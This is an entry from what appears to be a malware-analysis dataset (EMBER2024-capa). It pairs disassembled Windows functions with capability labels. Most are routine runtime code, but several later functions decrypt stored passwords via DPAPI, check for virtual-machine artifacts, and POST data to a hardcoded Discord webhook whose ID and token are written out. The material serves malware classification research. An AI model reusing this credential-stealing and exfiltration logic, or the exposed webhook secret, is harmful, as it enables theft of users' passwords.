joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400a8cf0
Capabilities:
Delete registry key
Delete registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
mov rsi, r9
mov rdi, r8
mov rbp, rdx
mov r12, rcx
test rdx, rdx
je 0x1400a8e2d
test r8, r8
je 0x1400a8d23
cmp word [r8], 0
jne 0x1400a8d2c
test r9, r9
je 0x1400a8e2d
mov rax, qword [0x140111488]
xor r8d, r8d
mov rdx, rdi
mov r9d, dword [rax + 0x110]
lea rax, [rsp + 0x58]
mov rcx, rbp
or r9d, 0x2001f
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
jne 0x1400a8e1d
mov rcx, qword [rsp + 0x58]
test rsi, rsi
jne 0x1400a8e07
call fcn.1400a8bc0
mov rcx, qword [rsp + 0x58]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x1400a8e1d
mov eax, dword [0x140119ed8]
test al, 1
jne 0x1400a8dc8
or eax, 1
lea rcx, [0x1400ed060]
mov dword [0x140119ed8], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x1400ff540]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r11, rax
mov qword [0x140119ed0], rax
jmp 0x1400a8dcf
mov r11, qword [0x140119ed0]
mov rax, qword [0x140111488]
mov r8d, dword [rax + 0x110]
test r8d, r8d
je 0x1400a8df7
test r11, r11
je 0x1400a8df7
xor r9d, r9d
mov rdx, rdi
mov rcx, rbp
call r11
mov ebx, eax
jmp 0x1400a8e1d
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov ebx, eax
jmp 0x1400a8e1d
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x58]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp ebx, 0xffffffff
jne 0x1400a8e32
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r11d, eax
jmp 0x1400a8e35
mov ebx, 0x57
mov r11d, ebx
mov rax, qword [0x140111488]
test ebx, ebx
mov rcx, r12
setne dl
mov dword [rax + 0x40], r11d
call fcn.14003ec40
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
Function at 0x1400b00c0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
movzx ecx, byte [rcx + 0x23]
mov rbx, rdx
test ecx, ecx
je 0x1400b0300
dec ecx
mov qword [rsp + 0x50], rsi
je 0x1400b015a
dec ecx
je 0x1400b0123
dec ecx
je 0x1400b0107
mov rdx, qword [rdi + 0x28]
mov rcx, rbx
call qword [rdi + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
test rdx, rdx
je 0x1400b0111
xor esi, esi
mov word [rdx], si
xor eax, eax
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
lea rcx, [0x140118e30]
call fcn.140005e80
xor esi, esi
mov ecx, 0xffffffff
cmp rax, rcx
cmove rax, rsi
test rbx, rbx
je 0x1400b029d
mov word [rbx + rax*2], si
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov rcx, rdi
call fcn.140001130
cmp dword [0x140116940], 0
jne 0x1400b025b
cmp qword [rdi + 0x10], 0
jne 0x1400b025b
cmp qword [0x140119d78], rdi
jne 0x1400b0188
test rbx, rbx
jne 0x1400b0207
mov rcx, qword [rdi + 0x28]
lea rdx, [rsp + 0x40]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x1400b0202
xor esi, esi
mov qword [0x140119d78], rsi
test rbx, rbx
je 0x1400b01f0
mov edx, dword [0x14011691c]
test edx, edx
je 0x1400b01d2
mov r9, qword [rdi + 0x28]
lea r8, [0x1400ff970]
lea rcx, [0x1401181e0]
mov qword [rsp + 0x20], rsi
call fcn.140040c90
mov rcx, qword [rdi + 0x28]
mov rdx, rbx
call fcn.1400ad4d0
mov rsi, qword [rsp + 0x50]
mov eax, eax
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
dec eax
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
test rbx, rbx
je 0x1400b0242
cmp byte [rdi + 0x23], 0
jne 0x1400b0213
mov rax, qword [rdi + 0x10]
jmp 0x1400b0216
mov rax, rdi
test byte [rax + 0x21], 4
je 0x1400b0224
mov rcx, rdi
call fcn.140040df0
xor esi, esi
xor eax, eax
mov word [rbx], si
mov qword [0x140119d78], rsi
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov rsi, qword [rsp + 0x50]
mov qword [0x140119d78], rdi
xor eax, eax
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov r8, qword [rdi + 0x10]
mov qword [rsp + 0x48], rbp
mov rbp, r8
shr rbp, 1
test rbx, rbx
je 0x1400b02fb
test r8, r8
jne 0x1400b02ad
xor esi, esi
mov rax, rdi
cmp byte [rdi + 0x23], sil
cmove rax, rsi
test byte [rax + 0x21], 4
je 0x1400b0293
mov rcx, rdi
call fcn.140040df0
mov word [rbx], si
xor eax, eax
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov rdx, qword [rdi + 8]
cmp rbx, rdx
je 0x1400b02fb
cmp r8, 0x186a0
jae 0x1400b02ed
movzx eax, word [rdx]
test ax, ax
je 0x1400b02e3
nop word [rax + rax]
add rdx, 2
mov word [rbx], ax
add rbx, 2
movzx eax, word [rdx]
test ax, ax
jne 0x1400b02d0
xor esi, esi
mov rax, rbp
mov word [rbx], si
jmp 0x1400b0298
mov rcx, rbx
call fcn.1400c9cf0
xor esi, esi
mov word [rbx + rbp*2], si
mov rax, rbp
jmp 0x1400b0298
mov rcx, qword [rdi + 0x10]
call fcn.1400b00c0
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x1400c965c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400c94cc

Function at 0x1400d32c8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1401102b0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1400cd0f8
xor ebx, ebx
cmp qword [0x140114a68], rbx
mov rdi, rax
jne 0x1400d33db
lea rcx, [0x1400e09f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1400d34b2
lea rdx, [0x1400e09e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400d34b2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x1400e09d0]
mov rcx, rsi
mov qword [0x140114a68], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x1400e09b8]
mov rcx, rsi
mov qword [0x140114a70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x1400e0998]
mov rcx, rsi
mov qword [0x140114a78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140114a88], rax
test rax, rax
je 0x1400d33d2
lea rdx, [0x1400e0980]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140114a80], rax
jmp 0x1400d33e2
mov rax, qword [0x140114a80]
jmp 0x1400d33e9
mov rax, qword [0x140114a80]
mov r11, qword [0x140114a88]
cmp rax, rdi
je 0x1400d3450
cmp r11, rdi
je 0x1400d3450
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140114a88]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400d3450
test rax, rax
je 0x1400d3450
call rsi
test rax, rax
je 0x1400d344a
lea rcx, [rsp + 0x30]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400d344a
test byte [rsp + 0x40], 1
jne 0x1400d3450
bts ebp, 0x15
jmp 0x1400d3490
mov rcx, qword [0x140114a70]
cmp rcx, rdi
je 0x1400d3490
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400d3490
call rax
mov rbx, rax
test rax, rax
je 0x1400d3490
mov rcx, qword [0x140114a78]
cmp rcx, rdi
je 0x1400d3490
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400d3490
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140114a68]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400d34b2
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1400d34b4
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400d08b0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400113bb
Capabilities:
Terminate process

Disassembly:
jmp 0x1400169c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x1400114ab
Capabilities:
Parse pe header

Disassembly:
jmp 0x140019370
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140019390
xor al, al
jmp 0x140019411
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400193a3
xor al, al
jmp 0x140019411
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400193cd
xor al, al
jmp 0x140019411
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400193e1
xor al, al
jmp 0x140019411
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400193f3
xor al, al
jmp 0x140019411
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001940f
xor al, al
jmp 0x140019411
mov al, 1
add rsp, 0x38
ret
Function at 0x140011749
Capabilities:
Connect socket

Disassembly:
jmp 0x140016630
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x20]
lea rcx, [0x14002a0f8]
call fcn.140011695
nop
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, qword [rbp + 0xf8]
mov dword [rcx + 4], eax
mov eax, 2
mov rcx, qword [rbp + 0xf8]
mov word [rcx], ax
movzx ecx, word [rbp + 0x108]
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [rbp + 0xf8]
mov word [rcx + 2], ax
lea rdx, [0x140020560]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b4
mov rdx, qword [rbp + 0x100]
mov rcx, rax
call fcn.1400110b4
lea rdx, [0x14001fc10]
mov rcx, rax
call fcn.1400110b4
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov r8d, reloc.WS2_32.dll_recv
mov rdx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0xf0]
mov rcx, qword [rax]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140016778
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rbp + 0xc0], eax
lea rdx, [0x140020588]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b4
mov rdx, qword [rbp + 0x100]
mov rcx, rax
call fcn.1400110b4
lea rdx, [0x1400204ec]
mov rcx, rax
call fcn.1400110b4
mov ecx, dword [rbp + 0xc0]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0xf0]
mov rcx, qword [rax]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
mov eax, 0xffffffff
jmp 0x14001677a
xor eax, eax
lea rsp, [rbp + 0xd8]
pop rdi
pop rbp
ret
Function at 0x1400176c0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400116d1
movzx eax, al
test eax, eax
jne 0x1400176e0
mov ecx, 7
call fcn.14001158c
nop
mov byte [rsp + 0x20], 0
call fcn.1400115c8
mov byte [rsp + 0x21], al
cmp dword [0x140024b70], 1
jne 0x140017704
mov ecx, 7
call fcn.14001158c
nop
jmp 0x14001775c
cmp dword [0x140024b70], 0
jne 0x140017757
mov dword [0x140024b70], 1
lea rdx, [0x14001f660]
lea rcx, [0x14001f330]
call fcn.14001131b
test eax, eax
je 0x140017738
mov eax, 0xff
jmp 0x140017861
lea rdx, [0x14001f220]
lea rcx, [section..rdata]
call fcn.1400115af
mov dword [0x140024b70], 2
jmp 0x14001775c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011573
call fcn.1400114d3
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400177b9
mov rcx, qword [rsp + 0x30]
call fcn.14001128a
movzx eax, al
test eax, eax
je 0x1400177b9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14002b020]
nop
call fcn.14001151e
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x1400177ed
mov rcx, qword [rsp + 0x38]
call fcn.14001128a
movzx eax, al
test eax, eax
je 0x1400177ed
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001166d
nop
call fcn.140017910
mov dword [rsp + 0x28], eax
call fcn.1400114ab
movzx eax, al
test eax, eax
jne 0x14001780c
mov ecx, dword [rsp + 0x28]
call fcn.14001107d
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001781b
call fcn.14001167c
nop
xor edx, edx
mov cl, 1
call fcn.140011258
mov eax, dword [rsp + 0x28]
jmp 0x140017861
add rsp, 0x68
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14001db20]
mov dword [rax], 1
mov rax, qword [0x14001db30]
mov dword [rax], 1
mov rax, qword [0x14001db40]
mov dword [rax], 1
mov rax, qword [0x14001da80]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001c70
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.14000c7e0
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.14000c7e0
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x140002942
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140025168]
test eax, eax
je 0x1400029da
lea rax, [0x140025140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140025170]
mov qword [rbp - 8], rax
jmp 0x1400029be
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x1400029b2
cmp qword [rbp - 0x10], 0
je 0x1400029b2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002978
lea rax, [0x140025140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x1400029db
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140002ae0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002b08
mov eax, 0
jmp 0x140002b56
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002b31
mov eax, 0
jmp 0x140002b56
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002b51
mov eax, 0
jmp 0x140002b56
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140002b5c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002bda
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002bd1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002bd1
mov rax, qword [rbp - 8]
jmp 0x140002bef
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002ba4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14000d30c
Capabilities:
Encrypt data using dpapi

Disassembly:
push rsi
push rdi
sub rsp, 0x68
mov rsi, rcx
mov rax, qword [r8]
lea rcx, [rsp + 0x58]
mov qword [rcx + 8], rax
mov eax, dword [r8 + 8]
mov dword [rcx], eax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x14000d378
mov rdx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x47]
mov rcx, rsi
call fcn.140001820
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x14000d3d0
mov rdi, qword [sym.imp.libstdc_6.dll_std::cerr]
lea rdx, str._ERROR__Failed_to_decrypt_password_with_DPAPI.
mov r8d, 0x2e
mov rcx, rdi
call fcn.1400017e8
mov rax, qword [rdi]
mov rcx, qword [rax - 0x18]
add rcx, rdi
mov dl, 0xa
call fcn.1400018d0
mov rcx, rdi
mov edx, eax
call fcn.1400018c8
mov rcx, rax
call fcn.1400018c0
lea rax, [rsi + 0x10]
mov qword [rsi], rax
lea rdx, [0x14001b467]
mov rcx, rsi
mov r8, rdx
call fcn.140018bb4
mov rax, rsi
add rsp, 0x68
pop rdi
pop rsi
ret

Function at 0x14000d3f8
Capabilities:
Get file attributes

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
xor edi, edi
lea rbx, [0x14001b248]
mov r14, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, 1
movsxd rcx, dword [rdi + rbx]
add rcx, rbx
call r14
test al, 0x10
je 0x14000d46f
add rdi, 4
cmp rdi, 0x1c
jne 0x14000d416
lea rcx, str.C:.vmx
call fcn.14000e0ea
test eax, eax
jne 0x14000d46f
xor ecx, ecx
lea rsi, [0x14001b2d0]
mov rdi, rcx
cmp rcx, 9
je 0x14000d465
movsxd rcx, dword [rsi + rdi*4 + 4]
add rcx, rsi
call fcn.14000e0ea
lea rcx, [rdi + 1]
test eax, eax
je 0x14000d447
xor esi, esi
cmp rdi, 9
setb sil
mov eax, esi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret

Function at 0x14000def8
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rdi, rdx
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, str.DiscordWebhook
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x28], 3
lea rdx, str.discord.com
mov rcx, rax
mov r8w, 0x1bb
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rbx, rax
mov qword [rsp + 0x38], r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x800000
lea rdx, str.POST
lea r8, str._api_webhooks_1277784937013051392_CU6_umBb0_SFP_oMTME2RT7w0meLiSm77Qe5s_LjZZon5URGQ8tjEuEaP_O3u8mPo5rb
mov rcx, rax
xor r9d, r9d
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r14, rax
mov r9, qword [rdi]
mov eax, dword [rdi + 8]
mov dword [rsp + 0x20], eax
lea rdx, str.Content_Type:_application_json_r_n
mov rcx, r14
mov r8d, 0x20
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rdi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call rdi
mov rcx, rbx
call rdi
mov rcx, rsi
mov rax, rdi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
jmp rax